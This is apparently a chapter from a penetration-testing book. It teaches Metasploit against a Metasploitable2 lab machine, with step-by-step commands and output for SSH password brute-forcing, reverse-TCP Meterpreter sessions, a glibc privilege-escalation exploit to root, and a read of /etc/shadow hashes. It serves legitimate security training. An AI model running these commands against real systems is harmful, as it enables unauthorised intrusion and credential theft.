Automating Penetration Testing with Metasploit
local graph
Chapter 8 — Automating Penetration Testing with Metasploit
Section titled “Chapter 8 — Automating Penetration Testing with Metasploit”You’ve already seen lots of techniques for scanning and hacking Linux and Unix computers. But, if you think that what you’ve seen so far is cool, I have to tell you that you haven’t seen anything yet.
In this chapter, you’ll work with the Metasploit Framework, which is a very popular tool for penetration testing. It’s already built into Kali Linux, so there’s nothing to install. It might seem a bit daunting at first, but fear not. After I walk you through the basics, I hope that you’ll agree that it’s not as hard as it first seems. Once you master it, you’ll find it extremely useful for finding and exploiting vulnerabilities on your clients’ servers and workstations. And yes, you can even automate your Metasploit testing with some good, old-fashioned shell scripts.
As always, you’ll get some good hands-on practice, using your tools to exploit vulnerabilities in your Metasploitable2 virtual machine.
Topics in this chapter include:
- Introduction to the Metasploit Framework
- Understanding the Metasploit modules
- Getting started with msfconsole
- Using Metasploit with the PostgreSQL database
If you’re ready, let’s dig in.
Technical requirements
Section titled “Technical requirements”To follow along in this chapter, you will need the following:
- Kali Linux virtual machine
- Metasploitable2 virtual machine
- The same Ubuntu Server virtual machine that you’ve been using for the previous chapters. (It’s the one with the
mrtuxuser account.) - For a couple of exercises, you’ll need to create another Ubuntu Server virtual machine. Create a user account for
mrtuxon it, and set his password toAndreaSterbini. Configure it to use a host-only adapter, as you’ve done for the other virtual machines.
You can grab the shell scripts that you’ll be using by running:
git clone https://github.com/PacktPublishing/Linux-Shell-Scripting-for-HackersIntroduction to the Metasploit Framework
Section titled “Introduction to the Metasploit Framework”The Metasploit Framework was created by security researcher H. D. Moore back in 2003 as a Free Open Source Software (FOSS) project. It’s now owned by Rapid7, but Mr. Moore is still the lead architect, and it’s still FOSS and free of charge. (For a fee, you can get more bells and whistles and commercial support with Metasploit Pro, but the free-of-charge Framework is all we need for now.)
Think of Metasploit as a Swiss army knife:

Figure 8.1 – A Swiss army knife
Figure 8.1 – A Swiss army knife
A Swiss army knife can’t do everything, but it can do a lot. The same can be said of Metasploit, because you can use it for pretty much every stage of the penetration testing process. Here are some of the things that Metasploit can help you do:
- Gather information about the target systems and their users.
- Find weak login credentials for network services such as FTP or SSH.
- Find and exploit vulnerabilities on the target systems.
- Escalate a non-privileged user’s access to that of a privileged, administrative user.
Metasploit uses modules to perform its various functions, which are categorized into various module types. Let’s look at these modules now.
Understanding the Metasploit modules
Section titled “Understanding the Metasploit modules”There are seven module types, but we’ll only work with the four types that are most commonly used. These four module types are:
- Auxiliary: You would use auxiliary modules for data gathering, target scanning, or administrative tasks. Some of them can be used to find login passwords, but none of them can perform any actual exploits.
- Exploits: As the name suggests, you would use these modules to exploit a vulnerability, such as SQL injection, command injection or privilege escalation, on a target host.
- Payloads: A payload is the arbitrary code that you would run to compromise a host machine. These are often used with exploit modules. After using an exploit module to gain initial access to a server or workstation, a hacker would then upload a payload module that would perform some specific function. For example, a hacker could use a payload to create new user accounts, open a shell, or capture users’ keystrokes.
- Post: Use these to perform an action on a compromised host, such as collecting data about either the comprised host or the network on which the host is located. They can also be used for maintaining persistent access on the compromised machine.
These modules are stored as Ruby scripts in the /usr/share/metasploit-framework/modules/ directory. Within that directory, you’ll see one subdirectory for each of the seven module types:
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]└─$ ls -ltotal 32drwxr-xr-x 21 root root 4096 Oct 16 18:25 auxiliarydrwxr-xr-x 12 root root 4096 Nov 30 2024 encodersdrwxr-xr-x 3 root root 4096 Nov 30 2024 evasiondrwxr-xr-x 21 root root 4096 Oct 16 18:25 exploitsdrwxr-xr-x 14 root root 4096 Apr 23 18:48 nopsdrwxr-xr-x 6 root root 4096 Nov 30 2024 payloadsdrwxr-xr-x 14 root root 4096 Nov 30 2024 post-rw-r--r-- 1 root root 434 Oct 8 17:09 README.md┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]└─$Inside the auxiliary/ subdirectory, you’ll see more subdirectories for different types of scans or information gathering that you’d like to perform, as shown here:
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]└─$ ls -l auxiliarytotal 116drwxr-xr-x 49 root root 4096 Oct 16 18:25 admindrwxr-xr-x 2 root root 4096 Oct 16 18:25 analyzedrwxr-xr-x 2 root root 4096 Oct 16 18:25 bnatdrwxr-xr-x 8 root root 4096 Nov 30 2024 clientdrwxr-xr-x 4 root root 4096 Nov 30 2024 clouddrwxr-xr-x 2 root root 4096 Oct 16 18:25 crawlerdrwxr-xr-x 29 root root 4096 Nov 30 2024 dos-rwxr-xr-x 1 root root 1473 Oct 8 17:09 example.py-rw-r--r-- 1 root root 1777 Oct 8 17:09 example.rbdrwxr-xr-x 2 root root 4096 Oct 16 18:25 fileformatdrwxr-xr-x 10 root root 4096 Nov 30 2024 fuzzersdrwxr-xr-x 2 root root 36864 Oct 16 18:25 gatherdrwxr-xr-x 2 root root 4096 Oct 16 18:25 parserdrwxr-xr-x 3 root root 4096 Nov 30 2024 pdfdrwxr-xr-x 93 root root 4096 Apr 23 18:48 scannerdrwxr-xr-x 5 root root 4096 Oct 16 18:25 serverdrwxr-xr-x 2 root root 4096 Oct 16 18:25 snifferdrwxr-xr-x 9 root root 4096 Nov 30 2024 spoofdrwxr-xr-x 5 root root 4096 Nov 30 2024 sqlidrwxr-xr-x 2 root root 4096 Oct 16 18:25 voipdrwxr-xr-x 5 root root 4096 Nov 30 2024 vsploit┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]└─$The first thing you’ll want to attempt is to find user credentials for the target machines, as you did in Chapter 6*, Password Cracking Techniques*. This time, you’ll do it from within the msfconsole, using a Metasploit scanner module.
Within the /usr/share/metasploit-framework/modules/auxiliary/scanner/ directory, you’ll see more subdirectories for the various network services that might be running on the target machines. As you saw in the nmap scan that you performed in Chapter 6, the FTP, SSH, and Telnet services are all running on the Metasploitable2 virtual machine. All three of these services use the same login credentials that are used to log into the operating system. So, you can try finding system login credentials by attacking any one of these three network services. Let’s try attacking SSH first.
First, view the Ruby scripts in the /usr/share/metasploit-framework/modules/auxiliary/scanner/ssh/ directory:
┌──(kali㉿kali)-[/usr/…/modules/auxiliary/scanner/ssh]└─$ ls -ltotal 116-rw-r--r-- 1 root root 3831 Oct 8 17:09 apache_karaf_command_execution.rb-rw-r--r-- 1 root root 6238 Oct 8 17:09 cerberus_sftp_enumusers.rb-rw-r--r-- 1 root root 1689 Oct 8 17:09 detect_kippo.rb-rw-r--r-- 1 root root 4348 Oct 8 17:09 eaton_xpert_backdoor.rb-rw-r--r-- 1 root root 3090 Oct 8 17:09 fortinet_backdoor.rb-rw-r--r-- 1 root root 2411 Oct 8 17:09 juniper_backdoor.rb-rw-r--r-- 1 root root 4198 Oct 8 17:09 karaf_login.rb-rw-r--r-- 1 root root 5356 Oct 8 17:09 libssh_auth_bypass.rb-rw-r--r-- 1 root root 5537 Oct 8 17:09 ssh_enum_git_keys.rb-rw-r--r-- 1 root root 8262 Oct 8 17:09 ssh_enumusers.rb-rw-r--r-- 1 root root 13106 Oct 8 17:09 ssh_identify_pubkeys.rb-rw-r--r-- 1 root root 10664 Oct 8 17:09 ssh_login_pubkey.rb-rw-r--r-- 1 root root 5523 Oct 8 17:09 ssh_login.rb-rw-r--r-- 1 root root 11580 Oct 8 17:09 ssh_version.rb┌──(kali㉿kali)-[/usr/…/modules/auxiliary/scanner/ssh]└─$Open the ssh_login.rb file in less, and look at the Description stanza, which should look like this:
'Description' => %q{ This module will test ssh logins on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.Okay, cool. You now know what this ssh_login module does. (If you’re wondering about the database that’s mentioned here, I’ll explain it later.) Before you can put this module to good use, you’ll need to know how to work with the msfconsole. We’ll look at that now.
The msfconsole, which we’ll talk about next, does have a search function that can help search for modules that meet your specific criteria. However, you have to be very precise with the search terms in order to avoid seeing mostly irrelevant information. So, many times, I personally find it easier to find what I need by just browsing through the /usr/share/metasploit-framework/modules/ directory.
However, if you’ve found a certain vulnerability on your target system, you can use the searchsploit utility to see if there are exploits for that vulnerability. Then, you can use the msfconsole search function to find a module for that exploit. (You’ll see how to do that in Chapter 12*, End-to-End Penetration Testing Projects.*)
If you don’t already know about existing vulnerabilities, you might be able to use the local_exploit_suggester module to find some. (We’ll talk about this in just a bit.)
Getting started with msfconsole
Section titled “Getting started with msfconsole”The msfconsole is the command-line component of Metasploit. There are three ways to use it:
msfconsole: Just typingmsfconsoleon your Kali terminal allows you to enter the interactive mode.msfconsole -rorresource: This allows you to run a Metasploit scenario that you define in a resource file. Usemsfconsole -rto invoke a resource file from a normal Kali shell. Or, use theresourcecommand to invoke a resource file from within themsfconsoleinteractive mode.msfconsole -x: This allows you to run a Metasploit scenario from a single command on the command-line. You can use thesemsfconsole -xcommands within normal shell scripts.
We’ll begin by using the interactive mode.
Using msfconsole in interactive mode
Section titled “Using msfconsole in interactive mode”In this procedure, you’ll enter your commands at the msfconsole prompt.
In this exercise, we’re ignoring the fact that the msfadmin user on the Metasploitable2 machine has full sudo privileges. Instead, we’ll pretend that msfadmin is just a regular, unprivileged user.
- Enter interactive mode simply by typing
msfconsole, like this:┌──(kali㉿kali)-[~]└─$ msfconsole - After a few informational messages and some ASCII art, you’ll finally see the command prompt, which looks like this:
msf >
- Now that you’re at the
msf >command prompt, select the Metasploit module that you want to use. To perform the SSH credential scan, use theusecommand to select thessh_loginmodule that you just looked at, like so:msf > use auxiliary/scanner/ssh/ssh_login - You’ll now need to set some scan options. Use the
show optionscommand to see which ones you need to set. (Unfortunately, I had to cut off theDescriptionpart to get a clear screenshot.):
Figure 8.2 – View the module options
Figure 8.2 – View the module options
- Set the following options:
BRUTEFORCE_SPEED: The speed at which you want to conduct the scan.PASS_FILE: The list of passwords that you want to use. In this case, you’ll use themetasploitable_cewl_wordlist_2.txtfile that you created in Chapter 6.RHOSTS: The target or the list of targets that you want to scan. For our present purposes, just set this to the IP address of your Metasploitable2 machine.STOP_ON_SUCCESS: If set totrue, the scan will stop after the first valid login credential is found.USER_AS_PASS: If set totrue, this module will look for any password that is the same as the login name.USER_FILE: The list of usernames that you want to attack. In this case, you’ll use themetasploitable_users.txtfile that you created in Chapter 6.VERBOSE: This will show the unsuccessful login attempts.
Use the set command to set these options, like so:
msf auxiliary(scanner/ssh/ssh_login) > set BRUTEFORCE_SPEED 1msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE metasploitable_cewl_wordlist_2.txtmsf auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.56.102msf auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS truemsf auxiliary(scanner/ssh/ssh_login) > set USER_FILE metasploitable_users.txtmsf auxiliary(scanner/ssh/ssh_login) > set VERBOSE truemsf auxiliary(scanner/ssh/ssh_login) > set USER_AS_PASS trueNote that I set the BRUTEFORCE_SPEED to the minimum value of 1. That’s because—for me at least—any higher setting would cause OpenSSH on the target machine to abort the scan. (Feel free to experiment with higher settings if you like, because it might work for you with a higher setting.)
Also, note that the RHOSTS option can be set to an individual IP address, as you saw in the above example, a range of IP addresses, a whole network address, or multiple individual IP addresses.
Setting it to a single IP address looks like this:
RHOSTS 192.168.56.102Setting it to a range of addresses looks something like this:
RHOSTS 192.168.56.102-192.168.56.112Setting it to a network address looks something like this:
RHOSTS 192.168.56.0/24Setting it to multiple individual IP addresses looks something like this:
RHOSTS 192.168.56.102 192.168.56.112- Type
runto start the scan. With the above settings, the results should look like this:msf auxiliary(scanner/ssh/ssh_login) > run[*] 192.168.56.102:22 - Starting bruteforce[+] 192.168.56.102:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[!] No active DB -- Credential data will not be saved![*] SSH session 1 opened (192.168.56.101:43723 -> 192.168.56.102:22) at 2025-10-18 16:20:06 -0400[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completedmsf auxiliary(scanner/ssh/ssh_login) > - This scan completed very quickly, only because you found an account that uses its username for its password. Of course, you won’t always get that lucky. To see how it goes when you’re not that lucky, disable the
USER_AS_PASSoption.msf auxiliary(scanner/ssh/ssh_login) > set USER_AS_PASS false - Type
runto run the scan. This time, your results should look like this:msf auxiliary(scanner/ssh/ssh_login) > run[*] 192.168.56.102:22 - Starting bruteforce[-] 192.168.56.102:22 - Failed: 'msfadmin:Injection'[!] No active DB -- Credential data will not be saved![-] 192.168.56.102:22 - Failed: 'msfadmin:Mutillidae'[-] 192.168.56.102:22 - Failed: 'msfadmin:JavaScript'[-] 192.168.56.102:22 - Failed: 'msfadmin:PeterThoeny'[-] 192.168.56.102:22 - Failed: 'msfadmin:Security'[-] 192.168.56.102:22 - Failed: 'msfadmin:password'[-] 192.168.56.102:22 - Failed: 'msfadmin:Register'[-] 192.168.56.102:22 - Failed: 'msfadmin:security'[+] 192.168.56.102:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] SSH session 2 opened (192.168.56.101:35409 -> 192.168.56.102:22) at 2025-10-18 16:36:05 -0400[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completedmsf auxiliary(scanner/ssh/ssh_login) >
You still found the credentials for the msfadmin user, except that this time you had to actually scan through the password list in order to do it.
The advantage of using this Metasploit module is that, unlike the hydra utility that you used in Chapter 6, it still works with the old-style host keys that are used in the Metasploitable2 machine. Also, there is a THREADS setting in the ssh_login module that allows you to run parallel login attempts. But, unlike hydra, the ssh_login module only allows you to run one thread per target host. So, if you’re only scanning one target, setting THREADS to a higher number will have no effect.
- An option that we haven’t looked at yet is the
CreateSessionoption, which is set totrueby default. This means that every time thatssh_loginfinds a valid set of login credentials, it will log into the target machine and open an SSH session. In this case, we’ve runssh_logintwice, so we now have two sessions, both of which are for themsfadminuser. And, if you setRHOSTSto scan more than one IP address, separate sessions will be opened for each IP address for which valid login credentials have been found. To see the open sessions, use thesessionscommand, like so:msf auxiliary(scanner/ssh/ssh_login) > sessionsActive sessions===============Id Name Type Information Connection-- ---- ---- ----------- ----------1 shell linux SSH kali @ 192.168.56.101:46023 -> 192.168.56.102:22 (192.168.56.102)2 shell linux SSH kali @ 192.168.56.101:34687 -> 192.168.56.102:22 (192.168.56.102)msf auxiliary(scanner/ssh/ssh_login) > - Choose to interact with Session 1, like this:
msf auxiliary(scanner/ssh/ssh_login) > sessions -i 1
- You won’t see a command prompt come up, but you can enter commands that don’t require a full terminal environment. For example, you won’t be able to use a text editor, because text editors won’t work properly without a full terminal environment. However, you can enter commands that will help you obtain information about the system. Enter the
id,uname -a, andps auxcommands to see what happens:msf auxiliary(scanner/ssh/ssh_login) > sessions -i 1[*] Starting interaction with 1...iduid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)cat /etc/os-releasecat: /etc/os-release: No such file or directoryuname -aLinux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linuxps auxUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMANDroot 1 0.0 0.3 2844 1692 ? Ss 14:46 0:00 /sbin/initroot 2 0.0 0.0 0 0 ? S< 14:46 0:00 [kthreadd]root 3 0.0 0.0 0 0 ? S< 14:46 0:00 [migration/0]root 4 0.0 0.0 0 0 ? S< 14:46 0:00 [ksoftirqd/0]. . .. . .root 4807 0.0 0.4 8052 2396 ? Ss 14:55 0:00 sshd: msfadmin [priv]msfadmin 4809 0.0 0.2 8052 1532 ? R 14:55 0:00 sshd: msfadmin@nottymsfadmin 4816 0.0 0.3 4504 1676 ? Rs 14:55 0:00 -bashmsfadmin 4875 0.0 0.1 2644 1008 ? R 15:07 0:00 ps aux - Type
exitto exit from Session 1. - Next, you’ll upgrade Session 2 to a Meterpreter session. (I’ll explain more about Meterpreter in just a bit.) Upgrade the session by doing:
msf auxiliary(scanner/ssh/ssh_login) > sessions -u 2[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [2][*] Upgrading session ID: 2[*] Starting exploit/multi/handler[*] Started reverse TCP handler on 192.168.56.101:4433[*] Sending stage (1062760 bytes) to 192.168.56.102[*] Meterpreter session 3 opened (192.168.56.101:4433 -> 192.168.56.102:41015) at 2025-10-26 15:17:27 -0400[*] Command stager progress: 100.00% (773/773 bytes)msf auxiliary(scanner/ssh/ssh_login) >
- View your active sessions, as you did before in step 8:
msf auxiliary(scanner/ssh/ssh_login) > sessionsActive sessions===============Id Name Type Information Connection-- ---- ---- ----------- ----------2 shell linux SSH kali @ 192.168.56.101:33795 -> 192.168.56.102:22 (192.168.56.102)3 meterpreter x86/linux msfadmin @ metasploitable.localdomain 192.168.56.101:4433 -> 192.168.56.102:41015 (192.168.56.102)msf auxiliary(scanner/ssh/ssh_login) >
- You see that Meterpreter is open in Session 3. Interact with Session 3, like so:
msf auxiliary(scanner/ssh/ssh_login) > sessions -i 3[*] Starting interaction with 3...meterpreter >
Before we continue to the next step, allow me to explain what Meterpreter is and how it can help you in a penetration test.
Meterpreter is an executable payload module that gets uploaded to the target machine. The main benefits of using Meterpreter instead of a normal shell session are:
- Meterpreter is stealthier because it runs entirely from system memory. Other than the initial payload file that you uploaded, nothing gets written to the disk of the target machine.
- Meterpreter uses an encrypted communication link between the attacker machine and the target machine, which makes it a bit harder for security administrators to notice quickly. (Of course, an SSH connection is also encrypted, so that doesn’t matter for our present purposes. However, it might matter if you have to use either the
ftp_loginortelnet_loginmodule to attack either FTP or Telnet, since both of those protocols are normally unencrypted.)
Meterpreter has built-in commands that can help exploit the target system. (I’ll explain more about these commands after the next step.) To do these types of exploits in a normal shell session, you’d need to create your own custom scripts.
The downside is that Meterpreter is much more useful on Windows targets than it is on Linux targets. There’s a whole lot more cool stuff that Meterpreter can do on Windows than it can do on Linux. Here are a few things that the Windows version can do that the Linux version can’t:
- Capture keystrokes from the victim machine.
- Create a golden Kerberos ticket that allows hackers to bypass normal authentication methods.
- Allow a hacker to view a remote user’s desktop in real time.
- Create user accounts on the victim machine in order to allow backdoor access for the hacker.
Okay, let’s go on to the next step.
- At the
meterpreterprompt, typehelpto view the available Meterpreter commands:meterpreter > helpCore Commands=============Command Description------- -----------? Help menubackground Backgrounds the current session. . .. . .Stdapi: Mic Commands====================Command Description------- -----------listen listen to a saved audio recording via audio playermic_list list all microphone interfacesmic_start start capturing an audio stream from the target micmic_stop stop capturing audioStdapi: Audio Output Commands=============================Command Description------- -----------play play a waveform audio file (.wav) on the target systemFor more info on a specific command, use <command> -h or help <command>.meterpreter > - I can’t possibly explain all of the available Meterpreter commands, but that’s okay. Many of them are pretty much the same as normal Linux/Unix commands, so you shouldn’t have any trouble figuring them out. To see information about using the other commands, try typing
help, followed by the command name. (Be aware, though, that not every command hashelpinformation.) Now, go ahead and view the help information for theloadcommand, like this:meterpreter > help loadUsage: load ext1 ext2 ext3 ...Loads a meterpreter extension module or modules.OPTIONS:-h Help menu.-l List all available extensions.meterpreter > - As you see, the
loadcommand will load one or more Meterpreter extensions, which will give Meterpreter more functionality. View the list of available extensions, like so:meterpreter > load -lsnifferstdapimeterpreter > - Try to load both of these extensions:
meterpreter > load sniffer stdapiLoading extension sniffer...Success.[!] The "stdapi" extension has already been loaded.meterpreter >
- The
stdapiextension was already loaded, because it gets loaded by default when you invoke a Meterpreter session. So, all we had to do here was load thesnifferextension. Enter thehelpcommand again to see if there are any new commands. At the bottom of the output, you’ll see theSniffer Commandssection. These commands are for capturing network traffic on the target machine. Here’s what the new set of commands looks like:. . .. . .Sniffer Commands================Command Description------- -----------sniffer_dump Retrieve captured packet data to PCAP filesniffer_interfaces Enumerate all sniffable network interfacessniffer_release Free captured packets on a specific interface instead of downloading themsniffer_start Start packet capture on a specific interfacesniffer_stats View statistics of an active capturesniffer_stop Stop packet capture on a specific interfaceFor more info on a specific command, use <command> -h or help <command>.meterpreter >
A lot of the Meterpreter commands, such as all of the sniffer commands, require you to have root user privileges on the target machine. So, these sniffer commands won’t work for you just yet.
Also, note that due to the rate-limiting features of OpenSSH, finding a valid username and password combination for SSH can take a very long time. In our case though, the FTP and Telnet services are also both running and are exposed to the network. So, you can use either the auxiliary/scanner/ftp/ftp_login module or the auxiliary/scanner/telnet/telnet_login module in the same manner that you used the ssh_login module. The main difference is that either one of those modules might yield results faster than what the ssh_login module can, especially if you increase the BRUTEFORCE_SPEED setting. The bottom line is that if other services are exposed to the network, try finding passwords for them first. Due to the rate-limiting features of OpenSSH, you should save the SSH scan as a last resort.
Okay, now that you’ve opened a Meterpreter shell, let’s see what you can do with it. Don’t shut down what you’ve already done with msfconsole, because you’ll be using this setup for the next exercise.
Escalating privileges with Meterpreter
Section titled “Escalating privileges with Meterpreter”You’ve found the login credentials for the msfadmin user and have used them to log into a Meterpreter session. Since we’re pretending that msfadmin is a normal user with no sudo privileges, your next task is to gain root user privileges for the Meterpreter session. Let’s look at how it’s done.
- At the
meterpretercommand prompt, enter thegetuidcommand to see who you’re logged in as. You should see this:meterpreter > getuidServer username: msfadminmeterpreter > - You now need to scan the target machine for exploitable vulnerabilities. Before you can do that, put the Meterpreter session into the background, like this:
meterpreter > bg[*] Backgrounding session 3...msf auxiliary(scanner/ssh/ssh_login) >
- Take note of the session ID number, because you’ll use it for the next set of steps.
- Use the
backcommand to exit from thessh_loginmodule.msf auxiliary(scanner/ssh/ssh_login) > backmsf > - Load the
local_exploit_suggestermodule, which you’ll use to scan the target machine for exploitable vulnerabilities:msf > use post/multi/recon/local_exploit_suggester - Use the
show optionscommand to look at the available options. The only two options are:SESSION: You’ll set this to the session ID number of the Meterpreter session that you just put into the background. This is the only one of the two options that you’ll need to set.SHOWDESCRIPTION: This is set tofalseby default. Setting it totruewill show you detailed information about the exploits that could potentially work on your target machine.
- Set the
SESSION ID, which in this case is3.msf post(multi/recon/local_exploit_suggester) > set SESSION 3 - Use the
runcommand to perform the scan.msf post(multi/recon/local_exploit_suggester) > run
When the scan completes, you’ll see a list of 80 different exploits for which this module checked. However, only the first eight of them are listed with a Yes in the Potentially Vulnerable? column, as you see here:
# Name Potentially Vulnerable? ---------- -----------------1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc Yes2 exploit/linux/local/glibc_origin_expansion_priv_esc Yes3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes4 exploit/linux/local/ptrace_sudo_token_priv_esc Yes5 exploit/linux/local/su_login Yes6 exploit/linux/persistence/autostart Yes7 exploit/multi/persistence/cron Yes8 exploit/unix/local/setuid_nmap YesOnly the first four of these are listed as privilege escalation exploits. Let’s try the first one.
- Type
backto exit thelocal_exploit_suggestermodule, and then choose theglibc_ld_audit_dso_load_priv_escmodule, like so:msf post(multi/recon/local_exploit_suggester) > backmsf post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcpmsf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) >
Note that the default payload is the linux/x64/meterpreter/reverse_tcp payload. Keep that in mind, because it will be important later. (I’ll explain how a payload is used with this module in just a bit, so please bear with me.)
- Do a
show optionscommand to see the available options. Then, set theSESSIONoption to the ID number of the current Meterpreter session, and theLHOSToption to the host-only adapter address of the Kali virtual machine, like so:msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set SESSION 3msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set LHOST 192.168.56.101 - Type
runto run the exploit. Your output should look something like this:msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run[*] Started reverse TCP handler on 192.168.56.101:4444[+] The target appears to be vulnerable[*] Using target: Linux x86[*] Writing '/tmp/.fffRMXD51T' (1271 bytes) ...[*] Writing '/tmp/.SJ20fT' (296 bytes) ...[*] Writing '/tmp/.CyoHbUW' (250 bytes) ...[*] Launching exploit...[*] Exploit completed, but no session was created.msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) >
In the last line, you see Exploit completed, but no session was created. The fact that no session was created means that the exploit failed. This doesn’t necessarily mean that the target machine isn’t exploitable. The failure to create a session could also be due to either using the wrong IP address or port number for the LHOST or LPORT setting, or it could be due to a networking issue. A networking issue could be caused by a firewall that blocks responses from the target machine to the Kali machine, or by connecting to the target machine via Network Address Translation, which also will block responses. However, in this case, I can tell you that none of those things is an issue. In this case, the problem is just that it doesn’t work with the default payload. So, you’ll need to use another payload instead.
- The payload for this exploit is the reverse shell program that you’ll plant onto the Metasploitable2 machine. This reverse shell program will connect back to the Kali machine. (You’ll use this payload in place of the
netcatsetup that you used in Chapter 7*, Understanding Privilege Escalation and Persistence*.) In this case, the defaultlinux/x64/meterpreter/reverse_tcplistener doesn’t work with the 32-bit operating system that’s running on the Metasploitable2 machine. (I’ll explain more about that in just a bit.) As you’ve just seen, theshow optionscommand doesn’t show anything about setting a payload. To see the available payloads, use theshow payloadscommand, like this:msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > show payloads
This shows you a list of 54 different payloads. The payload you want is number 33 on the list, which looks like this:
33 payload/linux/x86/meterpreter/reverse_tcp . normal No Linux Mettle x86, Reverse TCP Stager- Set the payload by doing:
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload payload/linux/x86/meterpreter/reverse_tcp
- Execute the
runcommand again. This time it should work, as you see here:msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run[*] Started reverse TCP handler on 192.168.56.101:4444[+] The target appears to be vulnerable[*] Using target: Linux x86[*] Writing '/tmp/.FYVl8cAGN' (1271 bytes) ...[*] Writing '/tmp/.QjMgcDxAfG' (291 bytes) ...[*] Writing '/tmp/.2bgjLgI' (207 bytes) ...[*] Launching exploit...[*] Sending stage (1062760 bytes) to 192.168.56.102[*] Meterpreter session 4 opened (192.168.56.101:4444 -> 192.168.56.102:38650) at 2025-12-31 18:28:06 -0500meterpreter > - Use the
getuidcommand to see which user you are:meterpreter > getuidServer username: rootmeterpreter
You’re logged in as the root user, which is exactly what you want to see.
I know, you’re wondering how I knew which payload to set. The answer is in this line of the exploit’s run output:
[*] Using target: Linux x86So, the target, which in this case means the type of operating system that we’re trying to exploit, is Linux x86. But the default payload is Linux x64. Run the uname -m command on the Metasploitable2 machine to see what the payload should be:
msfadmin@metasploitable:~$ uname -mi686msfadmin@metasploitable:~$The i686 in the output means that Metasploitable2 is running on a 32-bit version of Linux. So, you’ll need to use a Linux x86 payload to make this exploit work. (For some reason that I don’t understand, this exploit module can properly detect the victim machine’s operating system and set the target accordingly, but it can’t automatically set the payload type to match.)
Very few modern systems run 32-bit implementations of Linux, so there’s a good chance that you’ll never encounter this problem in real life.
- The bad news, though, as I’ve mentioned before, is that the Meterpreter shell isn’t nearly as useful on Linux as it is on Windows, because the Windows version has a lot more functionality. At this point, the most useful available Meterpreter command for Linux is the
shellcommand. So, go ahead and try theshellcommand to see what happens:meterpreter > shellProcess 5434 created.Channel 1 created. - Run some
root-level commands to see if you’re reallyroot:meterpreter > shellProcess 5434 created.Channel 1 created.iduid=0(root) gid=0(root)fdisk -lDisk /dev/sda: 8589 MB, 8589934592 bytes255 heads, 63 sectors/track, 1044 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesDisk identifier: 0xc3a20c42Device Boot Start End Blocks Id System/dev/sda1 1 30 240943+ 83 Linux/dev/sda2 31 1044 8144955 5 Extended/dev/sda5 31 1044 8144923+ 8e Linux LVMhead -2 /etc/shadowroot:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::daemon:*:14684:0:99999:7::: - Yes indeed, you have escalated to the
rootuser level, without knowing therootuser’s password and without invokingmsfadmin‘ssudoprivileges. (Remember, we’re pretending thatmsfadmindoesn’t havesudoprivileges.) - Type
exittwice to first exit therootshell, and then to exit the Meterpreter session. - Type
exit -yto exit themsfconsole. (You still have some running sessions, which is why you need to use the-yoption.)
Next, let’s try using msfconsole with a resource file.
Using msfconsole with a resource file
Section titled “Using msfconsole with a resource file”Using interactive mode is fairly easy. But, every time you perform an operation in interactive mode, you have to define the values for the module options. That can get a bit tedious if you need to perform an operation for multiple target machines at different times. One way to alleviate that tedium is to use a resource file in which you define the module options that you’ll use on a fairly constant basis. You can invoke a resource file either by using the resource command from within an interactive msfconsole session, or by using the msfconsole -r command from the Kali command prompt. To demo both of these methods, use the same ssh_login module that you used for the previous exercise.
- The first thing you’ll need to do is identify the options that you need to set. Open
msfconsolein interactive mode and set thessh_loginmodule options, as you did in steps 1 through 4 of the Using msfconsole in interactive mode procedure. - In another terminal window, use your favorite text editor to create the
ssh_login.rcfile in your home directory, with the following contents:use auxiliary/scanner/ssh/ssh_loginset RHOSTS 192.168.56.102set BRUTEFORCE_SPEED 1set USER_FILE metasploitable_users.txtset PASS_FILE metasploitable_cewl_wordlist_2.txtset STOP_ON_SUCCESS trueset USER_AS_PASS trueset VERBOSE truerunsessions - Save the file and exit the text editor.
- On the terminal window with the
msfconsoleopen, use theresourcecommand to run the resource file, like so:msf > resource ssh_login.rc
